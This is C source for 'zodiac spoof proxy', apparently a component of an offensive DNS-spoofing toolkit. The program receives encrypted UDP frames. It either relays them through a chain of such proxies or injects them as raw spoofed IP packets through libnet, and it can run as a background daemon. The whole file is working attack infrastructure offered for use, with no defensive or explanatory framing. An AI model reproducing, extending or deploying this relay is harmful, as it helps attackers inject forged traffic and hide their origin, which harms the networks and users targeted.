unsigned short int relay_port = 0;
int relay_encrypt = 0;
unsigned char relay_key[32];
int key_read (char *key, size_t keylen, char *text);
void usage (void);
void zsp_process (udp_rcv *packet);
int
main (int argc, char **argv)
{
pid_t pid;
int daemon = 0;
char c; /* option character */
unsigned short int port = 17852; /* listening port */
char *ip = NULL; /* local ip to bind to */
udp_listen *listener;
udp_rcv *packet;
char key[32];
printf ("zodiac spoof proxy v" VERSION " by " AUTHORS "\n\n");
while ((c = getopt (argc, argv, "di:r:xp:h")) != EOF) {
switch (c) {
case 'd':
daemon = 1;
break;
case 'i':
ip = optarg;
break;
case 'r':
if (net_parseip (optarg, &relay_ip, &relay_port) != 1) {
fprintf (stderr, "failed to parse ip:port string %s\n", optarg);
exit (EXIT_FAILURE);
}
break;
case 'x':
relay_encrypt = 1;
break;
case 'p':
port = atoi (optarg);
break;
case 'h':
usage ();
break;
default:
fprintf (stderr, "invalid option: %c\n", c);
usage ();
break;
}
}
if (port == 0 || (relay_ip == NULL && relay_encrypt == 1))
usage ();
if (key_read (key, sizeof (key), "enter incoming encryption key: ") == 0 ||
(relay_encrypt == 1 &&
key_read (relay_key, sizeof (relay_key), "enter outgoing encryption key: ") == 0))
{
fprintf (stderr, "failed to read required keys... aborting.\n");
exit (EXIT_FAILURE);
}
printf ("\n");
if (daemon == 1) {
printf ("going daemon...\n");
pid = fork ();
if (pid == -1)
exit (EXIT_FAILURE);
else if (pid != 0)
exit (EXIT_SUCCESS);
printf ("daemon (pid: %d)\n", getpid ());
}
listener = udp_setup (ip, port);
if (listener == NULL) {
perror ("failed to aquire udp listener");
exit (EXIT_FAILURE);
}
while (1) {
packet = udp_receive (listener);
if (packet == NULL) {
fprintf (stderr, "udp_receive: NULL packet\n");
exit (EXIT_FAILURE);
}
if (packet->udp_len >= (16 + IP_H + UDP_H)) {
packet = udp_decipher (packet, key);
if (memcmp (packet->udp_data, match_hash, 16) == 0) {
zsp_process (packet);
} else {
fprintf (stderr, "!ERROR! received invalid packet, failed at decryption\n");
}
} else {
fprintf (stderr, "!ERROR! received packet size is too short (%d), skipping\n",
packet->udp_len);
}
udp_rcv_free (packet);
}
}
int
key_read (char *key, size_t keylen, char *text)
{
char r_str[16];
memset (key, '\x00', keylen);
printf ("%s", text); /* avoid wuftpd like misusage here haha :-) -sc */
fflush (stdout);
memset (r_str, '\x00', sizeof (r_str));
sprintf (r_str, "%%%ds", keylen - 1);
if (scanf (r_str, key) != 1)
return (0);
while (isspace (key[strlen (key)]))
key[strlen (key)] = '\x00';
return (1);
}
void
zsp_process (udp_rcv *packet)
{
int sock; /* raw socket, yeah :) */
int n; /* temporary return value */
socklen_t pkt_len = packet->udp_len - 16;
/* see whether we just have to relay the frame to another spoof proxy
*/
if (relay_ip != NULL) {
char *key = NULL;
if (relay_encrypt == 1)
key = relay_key;
udp_write (relay_ip, relay_port, packet->udp_data,
packet->udp_len, key);
printf ("[pkt] relayed %5d bytes (%d+16) from %s to zsp\n", packet->udp_len,
pkt_len, inet_ntoa (packet->addr_client.sin_addr));
return;
}
sock = libnet_open_raw_sock (IPPROTO_RAW);
if (sock == -1) {
fprintf (stderr, "!ERROR! failed to aquire raw socket, aborting\n");
exit (EXIT_FAILURE);
}
/* kick the packet hard
*/
n = libnet_write_ip (sock, packet->udp_data + 16,
pkt_len);
close (sock);
if (n < pkt_len) {
fprintf (stderr, "!ERROR! send too less bytes (%d/%d) in packet\n",
n, pkt_len);
} else {
printf ("[pkt] relayed %5d bytes from %s\n", pkt_len,
inet_ntoa (packet->addr_client.sin_addr));
}
return;
}
void
usage (void)
{
printf ("usage: zsp [-i <local listen ip>] [-r <ip>:<port>[ -x]] [-p <port>] [-d]\n\n"
"-i specifies the local ip to bind to\n"
"-r relay to another zodiac spoof proxy\n"
"-x reencrypt received frames before sending (2nd key will be asked)\n"
"-p specifies the local port to take packets from (default: 17852)\n"
"-d sets the program into daemon mode\n\n");
exit (EXIT_FAILURE);
return;
}